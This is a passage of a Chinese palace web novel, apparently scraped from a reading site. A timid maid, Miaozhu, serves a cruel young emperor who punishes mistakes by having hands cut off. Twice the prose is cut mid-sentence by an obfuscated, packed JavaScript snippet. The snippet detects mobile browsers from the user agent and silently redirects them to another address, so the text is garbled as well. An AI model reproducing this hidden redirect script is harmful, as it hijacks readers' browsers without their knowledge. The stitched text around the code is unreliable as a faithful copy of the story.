小姑娘年岁宵小,鹅蛋脸,两腮挂着些肉,显出几分憨态,眸球乌灵,唇红齿白,只是梗着细白的脖颈,凭空生出一股瑟瑟缩缩之气。 蠢倒不是蠢,身上透着一股老实的傻气,叫人想看不出来都难。 她也没再说什么,问清了她们名字,又问了她们先前在二十四司里面是做些什么的之后,很快就领着她们进了内殿。 陈怀衡已经下了早朝,现下正在殿内批着奏折,听到底下的动静也不曾抬头。 卿云上前一步道:“陛下,刘尚宫方把那些新选来的宫女带来了。” 八个宫女恭谨地朝着陈怀衡行礼,仪态端庄,想来这些时日被刘尚宫规训得很好。 陈怀衡听到了卿云的话后终于有了反应,他放下了手上的笔,手肘靠在桌前,掀起眼皮看向了底下的人。 “这几个便是先前陛下挑好的人。”卿云向他介绍。 金丝楠木制成的宝座上盘旋着九条金龙,闪烁的金光透露着非比寻常的尊贵,宝座上方顶着一副匾额,上面写着龙飞凤舞的四个大字“光明正大”,一旁的博古炉中散着袅袅炊烟,陈怀衡面目深邃,在此间带了几分朦胧。 他坐在主位,漫不经心地看着底下的几个宫女,也不知是在想些什么。 卿云摸不出他的心思,试探性道:“陛下,那我先带她们去乾清宫里头认认路?” 陈怀衡神色恹恹没有说话,只是重新拿起了奏折去看,卿云知道他这是默许了,也没再继续留在这处,带着八人离开了这处。 殿内气氛压抑,妙珠从这里出来的时候悄然松了口气。 卿云已经算是陈怀衡身边的老人了,从前的那些人,就属她活得最长,手脚眼珠舌头也都齐全。 宫廷内的事务一般由十二监负责,而跟在陛下身前近身伺候的则都是些宫女,大多是太皇太后为其挑选的,殿内平日的内务现下都是卿云负责,她是这里头的管事宫女。她们八人同卿云走过乾清宫,宫殿连廊面阔九间,进深五间,宛若一个蕞尔小国,外头站着些身形挺拔的侍卫,而宫女们平日住在一旁的配房之中,离皇上的寝宫极近。 众人还要轮流值夜,皇帝就寝之后,太监们分班在外彻夜巡逻,而宫女们于耳房轮值,随听召唤。 卿云边带着她们走,边嘱咐道:“陛下平日处理诸多国事,偶会有心情烦躁的时候,你们千万要小心了伺候,别惹了陛下不快,陛下仁善......你们不犯错,陛下不会无缘无故地发作。” 众人听了无不腹诽卿云睁眼说瞎话,然而终究也是没有一人敢去反驳。 卿云说陛下仁善,那谁又能说陛下不仁善呢。 宫女们四人一间房,妙珠自同荣桃住到了一间屋子,两人运气好,被分去杂扫大殿、后苑,一人专负责陛下的膳食,妙珠心里头暗自高兴,就连晚膳都多用了两碗饭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373748|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在乾清宫还有一个好处,饭菜也比司衣司精细许多,是从前很少吃过的细糠。 妙珠在乾清宫的日子过得竟比司衣司还要轻松些,平日里头趁着陈怀衡上早朝的时候去打扫他的寝宫和门前的石阶,而后给后苑里头的花花草草浇些水,她鲜少能碰到皇上,便是有时候碰到了也说不上一句话,大多时候她垂着脑袋露出个头顶给人请安行礼。 而陈怀衡的视线也从不在她身上停留。 她和荣桃晚上做完了手上的活计后,时常会躺在床上说闲话,这里没人知道她以往的旧事,没人知道她的不堪,没人会故意刁难冷落她,除了想念裴嬷嬷,在乾清宫的日子竟出奇地不错。 然而一切的安宁都只存在片刻,七日后,很快就出了事情。 妙珠每日卯时就要起身,她起身后得去清扫乾清宫外的玉石台基,而后还得去后苑处浇花除草,这也算是个精细活,以往宫女们死多了,这活便落到了太监们头上,不过自她们这些宫女来了之后,又落到了妙珠的头上。 日光早早就照在了人间大地,妙珠扫完了台基之后便往后苑去,才刚拿起洒水壶,却蓦地听到里头传来了宫女凄怆的哭声,正断断续续地从殿内传来。 “陛下,饶命啊!奴婢不小心的,不小心系错的带子,再给奴婢个机会吧......!” 听这声音像是那个服侍陈怀衡穿衣的宫女出了错,惹得他生了怒。 妙珠听到里头传出的声音瞬时之间警铃大作,这几日太过惬意的生活叫她快忘记了殿里头还住着一头豺狼虎豹,一经发作就会要了人命。 她心生恐惧,抓着水壶的手指都泛了白,想逃离这处躲躲风头,可就在这时,那个犯了错的宫女已经被侍卫从里头拖了出去,妙珠在一旁眼睁睁看她愈拖愈远,直到彻底没了哭声。 她不知道她会被拖去哪里,更不知道她是要断手还是要断脚。辰时未到天就已经开始灼人,艳阳高照,妙珠却通体生寒。 从前的时候她只从旁人的口中听说皇上的无情残忍,可如今亲眼所见,才更觉骇人可怖,兔死狐悲,只怕自己也要落得那般下场。 妙珠丢下洒水壶,想先离开这处躲躲风头,卿云却从殿内出来,朝她走来。 卿云面上也带着愁容,她对妙珠道:“她犯错了,被陛下罚了,现下你进去服侍陛下,陛下正气头上,你小心些。” 妙珠双腿发软,下意识想要跪下求饶:“卿云姐姐,我......我不行的,莫不如你找别人来吧。” 皇上现在正气头上,她过去岂不是找死,她岂不是白白要送出一条命去吗。 卿云皱眉看她:“现下就你在院子里头,你要我找谁去?别说胡话了,陛下等急了更要生怒,快跟着来。” 妙珠没法,紧咬了唇,跟在了卿云身后。 殿内放着冰鉴散着寒气,此间同殿外全然是两个世界,妙珠又热又寒,非但没觉殿内清爽,反倒如坠冰火两重天。 她看到陈怀衡正坐在床榻前,身上已披上了龙袍,腰间系带松散,墨发也还不曾束起,随意地散在身后,然而,许是帝王的喜怒不形于色,妙珠却不能从他的眉眼之间寻得怒气,只觉周遭浸着森森寒意。 殿里头除了皇帝外,还跪着一个小太监,手上拖着瑶盘,上头置着皇帝的冠冕、绶带等物,这人当是內侍监过来送衣物的太监。 妙珠见此情形,一时进退维谷,不知该如何是好。 还是卿云开口提醒她:“还愣着做些什么,快些上前服侍陛下。” 妙珠怕耽搁下去真要惹得皇上更恼,不敢耽搁,抬步上前,在他的身前跪下。 陈怀衡身上的龙涎香顷刻间便刺入她的鼻腔,妙珠紧抿着唇,脸上带着赴死般的认真,不敢抬头,从始至终视线都落在他面前的腰带上。 她冲他伸出了双手,动作小心认真,不敢碰到他的龙体,只小心用手拿起了他的那根悬于腰间的系带。 陈怀衡垂眸看着跪在眼前的宫女,他看不到她的神情,只能见得她那乌黑的发顶,还有那纤长的眼睫。 如他所见,她整个人的皮肤都透着白皙,脸是,脖颈是,锁骨下的那片肌肤是,就连手指也是,透过肌肤似乎能窥见其下细密的血管,整个人连着血肉彻彻底底地暴露在眼前。 葱白的手指握着腰带...... 如果他没看错的话, 她的手指在发抖啊。 帝王服饰极为复杂,同寻常人的腰带也不大一样,好在妙珠先前在尚宫局学过怎么为皇上穿衣,然而,一开始都还好好的,只是太过紧张,头脑一下子变得空白一片,系着系着竟就忘了接下的动作。 越是紧张脑子空得越厉害,手指也开始跟着发颤了。 妙珠手上动作顿了许久,可陈怀衡竟也没有出言催促。 她卡在这里不上不下,最后只得凭着模糊地记忆硬着头皮继续。 然而,许久不曾开口的帝王终于出了声。 “错喽,小蠢货。” 这道低磁的嗓音如同魔音一般传入了妙珠的耳朵,悚然涌上心头,她的头皮瞬间炸开,猛抬眼向陈怀衡看去,只见他嘴角勾着一抹戏谑的笑,然眼中却并不曾见得丝毫笑意。 4. 第四章 完了。 妙珠满脑子都是完了。 方才那个宫女是怎么死了的来着? 她好像就是系错了腰带,惹怒了皇上。 妙珠感觉自己已经死到临头,冷汗一股又一股的从脑门盗下。 卿云眼见事态成了如今这样,忙上前为她辩护:“陛下,这小宫女平日一直在殿外做些杂使的活计,许是第一回到您跟前,慌了手脚。” 卿云说着,就要上前把妙珠挤去一边,换自己来为他系带。 然而还不曾碰到他,就听陈怀衡冷声道:“她是哑巴?要你为她作辩?” 卿云悻悻收回了手。 妙珠明白了他的意思,忙磕了响头求饶。 她结结实实地磕了个响头,疼得发懵。 磕头的疼难不成还能比得过断手不成? 等她真成了个废人,下半辈子怎么办,难道要成嬷嬷的累赘吗。 这样想着,不过停了片刻,马上又开始哐哐磕了两个。 再第四下时,皂靴踩在了她的肩头,阻了她的动作。 她的额间已经渗出了血,发丝也跟着凌乱了起来。 抬眼看向陈怀衡,眼睛疼得生理性泛红,却始终没敢淌出泪来。 只见陈怀衡居高临下蔑着她,他开了恩,道:“今日朕已经罚过人了,明日你若再错,自去剁了双手。” 说罢,连一个眼神都不再施舍给她,起了身。 卿云接手,上前去服侍他穿好衣物。 妙珠感恩戴德谢过恩典,额间的血流下,她也不敢再伸手去擦,只在一旁候着不敢再动。 好在,陈怀衡也没再想着和她算账,穿好了衣物,戴好了冠后便出了内殿。 他们离开之后,妙珠也终回了神来,匆匆擦了下额间淌出的血后,也不敢继续留在这里,起身跟着一道离开。 卿云见她跟了出来,找了个机会打发她出去。 妙珠满目感激,得了机会赶紧出了正殿,没敢再耽搁下去。 她捂着脑袋回了配房,屋内荣桃见她形容如此狼狈,错愕道:“妙珠,你......你这是怎么回事?” 妙珠如实道:“早上的时候伺候陛下的人犯了错,被人拖走了,我便顶了上去,太害怕了,也跟着犯了错。” 荣桃惊骇:“这才七日就出事了?那她会死吗?” 妙珠道:“应该是被砍了手。” 她还记得,皇上说,若是她明日再犯错,那便要去自剁双手了。 荣桃看着她的脑袋,跟着肉疼,想起那倒霉的宫女,不禁打了个冷颤,她道:“你这伤得厉害,快上些药吧。” 妙珠“嗯”了一声,只是走到铜镜前坐下,看到那已经肿胀的额头,心中又瞬间被悲苦淹没。 跟在阴晴不定、性情暴虐的帝王身边,每一日都像是偷过来的,方才的恐惧仍旧萦绕在心头不散,劫后余生的感觉非但没叫她好受,反倒更加惶恐。 躲过了今日,明日,后日,大后日......那她又能不能活过七日呢。 就像是有一把大铡刀悬在头顶,不知哪一天就落下来了。 晚间,到了夜阑人静之时,所有人都已经入睡,独妙珠仍旧醒着。 她在脑海中一遍又一遍复盘着明日将要做的事情,只怕不要再犯今日的错误,就这样盘着盘着,也不知是从何时开始模模糊糊就进入了梦乡。 梦中,她似听到了来自远处的呜咽哭声。 这一回,竟罕见地梦到了许久不曾想起的母亲。 妙珠的母亲是个傻子。 妙珠不知道她是生了她前就是傻子,还是生了她之后才变成了傻子。 她没有父亲,母女二人和她的外祖住在一处。 自妙珠有记忆以来,便知道母亲时常会和一些男人睡觉。 母亲的肤色很白,妙珠时常会在母亲那雪白的手臂看到大片的青紫。 母亲有时候痴傻,有时候又清醒,清醒的时候便喜欢打妙珠,她总是说妙珠身上的血也是脏的,哭出来,把血哭出来便干净了,她打得妙珠嚎啕大哭之后,却又喜欢抱着她一起哭,好像哭,就能哭出满身的脏污与卑劣。 妙珠自从记事以来,就活在外祖的威压之中,她和母亲就像是他的奴仆,而非是亲人,母亲喜欢打她,外祖也喜欢打她,妙珠已经习惯了那样的生活。 可转瞬间,外祖变成了一具尸骨,母亲的身影也消失不见,眼前的人变成了裴嬷嬷。 嬷嬷死死地抓着她的手,不停地说:“妙珠啊妙珠,陛下是你的天啊。” 妙珠从睡梦中惊醒了过来,口中不断地喘着粗气。 还没缓回神来,她下意识抬手擦去额间的汗,却不慎碰到了那磕头磕出来的伤口,又是一阵好疼。 即便昨日荣桃替她上了药,可额头上的包非但没有消下去,反倒越发得鼓囊,妙珠用手指去摸索,才发现那小鼓包肿得快像小山丘。 她今日被梦魇醒,醒来后不过寅时,透过半开的窗牖,依稀能见得外头极其微弱的亮光。 她怕自己这幅丑态又会惹了帝王生恼,便蹑手蹑脚出了门,去烧了热水,后用毛巾浸湿往额上热敷,做好了这些她也没再回房歇下,而是去寻了一根系带,在手上反复打结、再解开。 除此之外,还有束发、鞋履穿脱,她都一一在手上进行事先的演习,直待天色蒙蒙亮,她大约已经一个人在那重新练了半个时辰。 眼看寅时快过,她也不敢耽搁,整理好了形容便往着乾清宫内去了。 卿云正巧也来了。 大家平日里头轮替着守夜,见服侍陛下的人来了,耳房中值夜的宫女便回去歇着了。 两人暂没有往里殿去,卿云抓住了妙珠的手,问她:“这回可还犯蠢?” 卿云为人甚好,也最得皇帝脸面,或许是知晓在帝王身边服侍的不易,对其余的几个小宫女也格外宽容照顾,妙珠她们平日都拿她当大姐姐来看。 妙珠听出她口中的恨铁不成钢,忙认了错:“姐姐,我必不会再犯了,往后我一定打气十二分精气神来伺候陛下,将陛下当做再生父母伺候。” 卿云也看出她是被昨日那番吓到,宽慰似地拍了拍她的肩,她又道:“别怕,陛下仁慈。” 这倒像是在自己安慰自己了。 妙珠都不知道卿云这是在为谁上眼药。 两人不再说,往殿内去了。 她们来的时候正好,掌灯宫女点燃了殿内灯火,已经服侍着陛下洗漱完毕,內侍监的人也已经送来了陛下的衣物,妙珠看到卿云递给她的神色,乖顺上前,扶他起身更衣。她已不再如昨日那般抖如筛糠,神色倒是镇定了许多。 只是紧抿的唇瓣仍旧泄露出了心绪。 这回动作倒是利落不少,为他穿上了鞋履,马上又起身为他穿上龙袍,好再是没有一丝差错。 最后她鼓起勇气看向了陈怀衡,道:“陛下,奴婢为您束发吧。” 勇气是有了,只是眸中仍旧带着不可觉察的怯懦。 陈怀衡的目光难得在她脸上停留许久。 妙珠叫他看得浑身发毛,硬着头皮露出了一个笑。 “丑死了。” 分明害怕得要死,还要露出一个比哭还要难看的笑。 陈怀衡嗓音好听,可说的话极其不好听,他也没有必要 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镜中的宫女提心吊胆,做完了一切后便自认为躲过了劫难,悄悄地松了口气,陈怀衡本想开口亲自向她宣判一个噩耗,像是今日这样提心吊胆的活计,她往后还要继续做下去,一日是断不够的。 那她大抵又是要怕得发抖。 然而,还不待他发话,她竟先跪在了他的跟前。 在陈怀衡出神之际,妙珠也在脑中天人交战。 先前的宫女被他断了手,而她这回倒霉不慎被抓来服侍于他,那往后这个活计大抵是要落到她的头上,与其等着他们安排,倒还不如便借着这次机会表了衷心。 她想明白了,现下既留在了乾清宫,除了讨好眼前的帝王,她再没其他的活路了。 妙珠脑子转得不大灵活,可在这样关乎性命的时刻,孰轻孰重,该讨好谁,她如何能没有数。 正如嬷嬷告诫她的那般。 陛下是她唯一的主子。 妙珠跪下后,强忍着胆怯,看向陈怀衡。 她认真道:“往后便让奴婢服侍陛下吧,奴婢一定尽心竭力,再不犯错。” 陈怀衡也回了神,他的视线从镜中,移动到了身侧跪着的妙珠身上。 方才镜子里头的人面色凝重,可现下跪在自己眼前的人,却满目诚恳。 她倒是先自己跪下了。 这是出乎陈怀衡意料之中的事。 狭长的眼睛微眯,他的嘴角不动声色勾起了一抹不算和善的笑,而后,兀地伸出手指,往妙珠额间那鼓起的小包按了下去。 少女吃痛,霎时间,蒙上一层泪,氤氲了双眼。 眼前,陈怀衡那张锋利薄情的脸变得模糊了起来,他勾唇冷笑的样子比没有表情的时候更要吓人些。 她听他问:“疼?” 一个单调的音节,似是询问,又似是陈述。 妙珠不敢说谎,实话实说:“疼。” 陈怀衡似轻笑了一声,这一声听着竟异常清澈悦耳。 “跟着朕,往后可还有得好疼的啊。” 他似乎是大发慈悲,好心地提醒她。 可是事到如今,妙珠已经没有再能退缩的机会了,总不能现在打起了退堂鼓,说她怕疼,她不想跟着他了。 那不行的。 除了他,她又还能跟谁呢? 她恳切道:“陛下给的疼,奴婢受着。” 陈怀衡按着她的“小山丘”,将这个巧言令色宫女的脑袋推远了些。 原是瞧着老实罢了。 5. 第五章 陈怀衡起身往外去了。 他整饬好了形容之后便要去上早朝,因着“男女有别,内外分明”一制,宫女们不得跟着皇帝前往外朝,卿云同妙珠一同服侍着陈怀衡上了銮驾,同太监们随行,一路将人送至皇极门,而后便停了步,不能再跟着过去。 此间一时只剩下了妙珠和卿云,卿云看向妙珠的神色有些复杂。 妙珠的额头方才被陈怀衡戳了那么一下,疼得厉害,她一边揉着额头,一边嗫声道:“姐姐,我没办法了。” 她真的没有活路。 她除了听嬷嬷的话,将陈怀衡当成自己的天,她也实在不知该怎么活下去。 卿云竟伸揉了揉了她的脑袋,而后挽住了她的手往回走,她道:“傻姑娘,别怕,陛下仁慈。” 这已经是卿云第三回说陛下仁慈了。 妙珠实在不懂,又是疑心陈怀衡给卿云下了蛊,才至她会出现这般认知错误。 妙珠和卿云从皇极门离开,往着乾清宫的方向回了。 路上,卿云问她:“可是真想好了?” 卿云还记得第一日见到妙珠的样子,那个时候觉着她这样的性子,是永远没胆子往跟前走的,没想到,今日竟也会说那样的话。 当初卿云也是从六局里面被挑出去的,刘尚宫是个不错的人,她也记着她的好。她本也是想顺着刘尚宫的话,就让妙珠做个院子里头杂使宫女罢了...... 可偏偏时运不济。 那天陛下忽就发作,晨时穿衣时让人拖了那个犯错的宫女下去。卿云本想自己上前为他服侍,可谁知陈怀衡冷冷地说:“外头不是还有个宫女吗。” 卿云明白了他的意思,没有办法,也只好将妙珠带了进去。 服侍帝王,这不是一个轻松的活计,在这宫里头,最低贱的就是他们这些人了,若是惹了帝王生气,也轻易换不来他的疼惜,到时候什么磋磨怕都是要受。 七月的盛夏,晴空烈日,幽深冗长的甬道一眼望不到头,两人顶着猛烈的日光,顺着宫墙的阴影下走。 妙珠听到卿云的话,回道:“缩头是一刀,迎头也是一刀。想好了的,姐姐。” 既妙珠想明白了,卿云也不再说,向她又说了好些关乎陈怀衡的事情,好歹让她往后在跟前伺候的时候别不小心又犯了什么忌讳。 前些时日被砍了手的宫女,原本以为是个伶俐的,能跟着陈怀衡久一些,谁知道连七日都没过。她走了,那现下这样的态势,卿云也只好教妙珠,让妙珠去伺候陈怀衡了。 想来是今日朝堂上没什么话好说,陈怀衡上了半个时辰的早朝便回来了,往日若事情多,陈怀衡卯时去太和殿上的朝,巳时才能回来。只是今日他虽回来的早,司礼监的掌印太监却也跟着一道过来了。 掌印太监只正四品的官,光是从品阶来论,瞧着并不怎么出色,然而身为内廷衙门司礼监的一把手,身份地位却远远高于“四品”二字。 庞大的帝国不容一个十岁小儿独断独行,自陈怀衡登基之后,身边首辅、掌印太监,以及亲近的太皇太后势必要辅之前行,太监是个极占便宜的身份,他侍奉在陛下身边,可以很大程度上谋取帝王的信任。 只是,这个度是不大好把控的,若是一不小心,容易变成宦官干政,内臣当朝。 掌印黄坚白已经五十,面白无须,脑袋上黑白发相间,眼尾炸花,额间皱纹横生。 妙珠在乾清宫外等着下朝的皇帝,可没想到他的身边还跟着掌印。 她先前听过这个内廷大珰的名声,听闻他的手下掌管着东厂。而东厂有个廷狱,媒孽踵至,鼎镬刀锯,里面刑罚不计其数,黄坚白手段狠辣,比之他身前的帝王有过之而无不及,现下这两人站在一起,妙珠只觉他们面目森然,更加可怖。 走至跟前,她马上垂首向他们行礼。 两人连个眼风都没留给她,径直往殿内走去。 妙珠没敢耽搁,忙跟了上去。 黄坚白跟在陈怀衡的身后,进了乾清宫正殿,陈怀衡径直上了王座,随便给黄坚白指了个位置,他道:“掌印请便。” 妙珠侍于帝王身侧,见陈怀衡额间有汗,勤快地为他倒了盏凉茶驱热,倒完了茶水后又拿了一旁的蒲扇为他扇风。 陈怀衡斜睨了她一眼,妙珠马上露出个乖巧讨好的笑。 就这点子出息了。 不过,好歹也没说什么。 下首黄坚白也不曾推脱,喏声应下,往方才陈怀衡指过的椅上坐了下去。 陈怀衡手上端着杯盏,直接开门见山问他:“掌印今日前来所为何事?” 下了朝后,黄坚白说有事想要同他说,而后就跟着他一道回来了乾清宫。 黄坚白回了他:“听闻前两日陛下身边的宫女又有犯了错的,她们这手脚不利落,莫不如我为陛下挑几个省心的小太监过来,都调.教过的,保管不出错。” 陈怀衡马上看穿了黄坚白的心思。 他大概也是想往他的身边塞人。 至于是想留眼线还是做什么,那就不得而知了。 陈怀衡似笑非笑看向他:“其实朕也不在意是宫女还是太监,左右是些服侍人的物件,是男是女,又或不男不女,那也不重要。只是这件事掌印莫不如去同皇祖母说,朕身边的人都是她安排的。” 太皇太后不喜欢太监,这是众人皆知的事。 大概是对前朝曾发生过的奸佞当道仍有心悸,以至于后来她对太监这类人,一概没有好感,就连司礼监的掌印都入不了她的眼。 从前自陈怀衡登基后,黄坚白便一直跟在陈怀衡身侧侍奉,然而后来,太皇太后却让十几个小宫女顶替了黄坚白的位置,他难以再像以往那般近皇帝的身。 一开始几年倒也还好,风平浪静,直到前两年,陈怀衡脾气越发不好,开始动辄打杀人,眼看身边的宫女快死光了,太皇太后又重新选了几人送过来。 只是没过几日,又有人犯错被砍了手。 黄坚白听说了这事后,似又觉自己有了机会,琢磨着能不能借着这个机会往陈怀衡的身边塞上几个 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妙珠没想到这事说到最后竟还推到了她的头上,她害怕陈怀衡,可是也害怕黄坚白。说了太监的坏话怕是要惹黄坚白记恨,可若是说了自己的坏话,又只怕要惹陈怀衡嫌弃。 她试探地寻了个两相皆不得罪的说法。 “内监勤快机灵,奴婢也勤快机灵。” 黄坚白听后,没说什么,倒是陈怀衡,面色看着冷了一些,分明仙姿佚貌,可却透露着一股古怪的危险。 妙珠看得出来,陈怀衡许是不满意她这个端水的回答。 黄坚白还想说些什么,可陈怀衡却没了同他打太极的心思,道:“朕还有公务要忙,掌印自便。” 黄坚白自听出了陈怀衡口中赶客的意图,他识相地起身,临行前还是不死心地留下一句:“还望陛下考虑。” 说罢,就离开了乾清宫。 殿内放着冰鉴,清爽非常,而陈怀衡眉宇间的阴冷将周遭的空气衬得愈寒。 妙珠被这压抑的氛围激起了一身鸡皮疙瘩,她意识到了自己说错话了,惹了眼前的帝王不高兴。 “蠢物。” 陈怀衡从口中冷不防地说了这两个字。 妙珠虽不知自己是错在了哪里,可应当就是错了,她想也没想就跪了下来。 “陛下......” 陈怀衡看着低着脑袋的小宫女,嗤她道:“他是你主子?要得你去哄他?” 妙珠没有想到只是那样一句话都能惹得他发作,她睁着圆眼,不住摇头。 她不敢得罪皇帝,也不敢得罪掌印,这两人大概都是睚眦必报的人,可又没想到陈怀衡心眼就这么点大,便是端了水,都叫他觉得是在背主。 妙珠意识到,这些小心思压根就不能有,她道:“不是的,陛下是奴婢唯一的主子,奴婢......奴婢只是害怕掌印记恨。” 陈怀衡冷哼了一声,毫不留情道:“就怕人蠢还想得多。” 黄坚白不痛快,难道还能把手往他的乾清宫伸吗,想些什么呢。 6. 第六章 妙珠挨了骂,却一句话也不敢再说,而陈怀衡也没有想要继续搭理她的意思,转过眼连看都不再看她,任她跪在脚边。殿内一派死寂,一如乾清宫平日的基调,偶有风吹过带起了屋檐下挂着的六角铃铛,发出一阵阵的脆响,传入了殿内。 妙珠得不到帝王的赦令,便只能这般跪着。 胆小的她心里头难得怨恨陈怀衡阴晴不定,可很快就又泄了气。 做下人的,是断没有怨恨主子的道理。 天底下没有做主子的不是。 她仰头看着陈怀衡,又一次恳切道:“陛下是奴婢唯一的主子,奴婢往后不会再犯了,太监们一点不好,没有奴婢好。” “蠢不犯了,现下又来口出妄言。你可知他给朕送过来的太监都是从哪里来的?最差也是内书堂出身,他们会写字做诗,会打趣逗人解风情,你又会什么,现下敢说比他们好?倒是会往自己脸上贴金。” 内书堂是太监们读书的地方,那里头的讲官甚至还出自翰林,都是些厉害的学士,内书堂的太监们若是运气好些,往后能进文书房,而文书房又称司礼监的预备班...... 妙珠被他贬得一无是处,却还在低声讨好他:“陛下是用来敬的,不是用来的逗趣的。” “呵。”陈怀衡从喉中发出一声冷笑,他压根就不吃她这一套,“你这不也是在逗朕吗?” 恰此时,卿云带着荣桃还有尚膳监的人送来了早膳,一见妙珠又跪在了地上,心里头不免又叹了口气。 这膝盖就跟不值钱似的,一天到晚也不知要跪多少次。 陈怀衡没让妙珠起来,她也不敢自作主张起身,便这样一直跪着。 卿云和荣桃在一旁的桌上布菜,妙珠抓着膝上的衣服,不敢乱动,好不容易终于等到陈怀衡开口:“不起来服侍躲着偷懒?” 妙珠赶忙起了身,跟着起身去了桌边,服侍着他用膳。 荣桃见她处境如此艰难,颇为同情地看了她一眼,两人没有说话,便这样心照不宣地看了一眼。 好在到了后头也没再出什么事。 妙珠算是彻底顶了上一个被砍手的宫女的差事,陈怀衡晨间穿衣,晚间脱衣全落到了她的头上,好不容易提心吊胆过完了一日。 晚上不是她值夜,她服侍着陈怀衡歇下后便回了配房。 荣桃已经在屋子里头等着她了,妙珠身心疲惫,一下瘫倒在了床上。 四人一个屋子,是个大通铺,另两个宫女恰好去耳房轮班了,屋子里头只剩下了妙珠同她。 荣桃不知是从哪里掏出了一块糕点,往床上闭着眼休憩的妙珠嘴巴里头塞。 妙珠察觉到了她的动作,恍恍惚惚睁开眼来,一睁眼就发现荣桃在往她嘴巴里头塞糕点。 她愣了一瞬,而后撑起身坐了起来,她尝出荣桃喂给她的是桂花糕,咽下去后问道:“荣桃,你这糕点是哪里来的?” 荣桃解释:“是方才尚膳监给陛下备的消夜,多了些,便给了我。” 难怪说这么眼熟呢,方才妙珠在陈怀衡的桌上见到了这些。 这些时日一直是荣桃和尚膳监的小太监对接,想来是熟了一点,可是,陛下的糕点,真的是能随便就吃的吗。 妙珠不放心道:“荣桃,这样当真没事吗。” 荣桃笑她胆小:“能有什么事呢,妙珠,这事也只有那小太监和我晓得,你吃便是,不怕。” 妙珠比荣桃大两岁,□□桃的胆子却比她大多了。 荣桃给妙珠塞了糕点,自己也拿出了块糕点开始啃,两人并肩坐在床沿,又开始说起了闲话。 荣桃忽然问起了妙珠:“妙珠,你往后若是出宫了,想要做些什么呢?” 宫女到了一定年岁是可以出宫的,一般到了二十五,便可以被放还回家。 可直到荣桃今日忽地问起,妙珠却发现自己从没想过这事,她也不知道自己出宫后能往哪里去。 她摇头道:“我不曾想好。” 不过,往后就算是出了宫,那应当也要和裴嬷嬷在一起的吧。嬷嬷一辈子都在宫里,不曾婚配,膝下没有儿女,妙珠在裴嬷嬷前年生辰就说过,她要给她养老送终。她往后便是要出宫,那也是要和嬷嬷一起走的,嬷嬷不走,那她也不走。 荣桃道:“我倒是想好了。” 妙珠好奇:“那你要做些什么呢?” “我爹娘把我送进宫里头,得叫我挣够了银子才能回去,我得攒钱,攒上好多钱再回家,到时候我带着钱回了家,他们便能好好待我,我们一家人便能过上好日子啦。” 荣桃自打出生之后,便一直被家里头嫌弃是个女孩,后来才十岁,就被卖到宫里头当宫女了,荣桃也争气,才十三岁,手脚勤快,人也机灵。先前在尚食局底下的司膳司里头做活,也颇受头上管事的司膳喜爱。 两人咬着那一块糕点,说了不少闲话,眼看着天越来越晚,荣桃便拉着妙珠起身去宫女的浴堂那处,到时候回来还得再给她的脑袋上遍药膏。 * 七月流火,大昭最热的一个月份挨了过去,入了八月之后,宫中那股弥久不散的闷热终于消退,卿云是管事宫女,有时要忙着其余的事情,平日陈怀衡办公时一般只留一个宫女在里头侍奉,奉茶磨墨。妙珠已经在陈怀衡身边跟了好些时日,好在后面几日也没怎么再惹陈怀衡生过气,过得倒也是安生。 妙珠掰着手指头过日子,八月初三,是她在陈怀衡身边的第十日。 卿云说,等再过几天,到了十五中秋,就给她寻几个时辰的空档回去司衣司里头,让她回去见嬷嬷。 妙珠听后,觉得日子更有盼头了,侍奉在陈怀衡身边也更加卖力一些。 这段时日得好好干,别死在中秋前。 否则实在是太亏了一些。 妙珠这些时日就跟打了鸡血一样,就连陈怀衡都看出来了。 天光澄净,日光稳稳地落在窗台上,透过直棂窗的空隙在殿内留下一道道不规则的阴影。 妙珠在为陈怀衡研磨,专心地做着手上的活计,可嘴角却始终挂着一抹浅淡的笑。 与之相比,陈怀衡的脸色倒有些不好了。 近来朝中正在商议修官道一事。 这件事各位官员各有意见,有的官员认为从京城到南地已有了河道,即是再不济,其余的官路又不是不能走,最多是要再行转道,时间多出几日,全然没必要再去修出一条新的官道,此举劳民伤财;可另外有些人不这般认为,大昭的政治枢纽于京城,可南地江浙一带,民丰物饶,来往商贸繁荣,自古有“十农五商”之谚,若是能修条直通江浙的官道,对京城总归是有些好处的。 议论这事的人繁多,群臣意见也都左右不一,奏章都快堆满了桌案左右。 陈怀衡看得额间生疼,抬起头来缓了会神,就见眼前的这个小宫女脸上一直挂着傻笑。 蠢笨宫女的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373751|168244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪从来不加遮掩,害怕、惶恐、高兴......七情六欲总是喜欢毫无防备地挂在脸上。 陈怀衡蹙眉,道:“小蠢货,傻乐些什么?” 陈怀衡从来不知道底下人的名字,这么久,唯独记得管事的卿云,至于妙珠,虽在他的身边侍奉了十日,可他至今也不知道她的名字。 毕竟不会有人愿意去记物件的名字,明珠宝玉自当别论,可若是一些轻贱的玩样,“小蠢货”就够了。 名以人贵,若是贱命,理当配以贱名。 这是妙珠从记事起就已经明白的道理了。 妙珠意识到自己情绪太过外露,被陈怀衡抓了个正着,她马上收敛了笑,解释道:“陛下,就是突然想起了一些趣事。” 陈怀衡放下了手上的朱笔:“来,叫朕也高兴高兴。” “啊?” 妙珠研墨的动作也停住了,不知该怎么回答,终究是不敢欺骗他,只得实话实话说:“是想到过几日中秋了,能得几个时辰的假,想着往司衣司回去瞧瞧。” 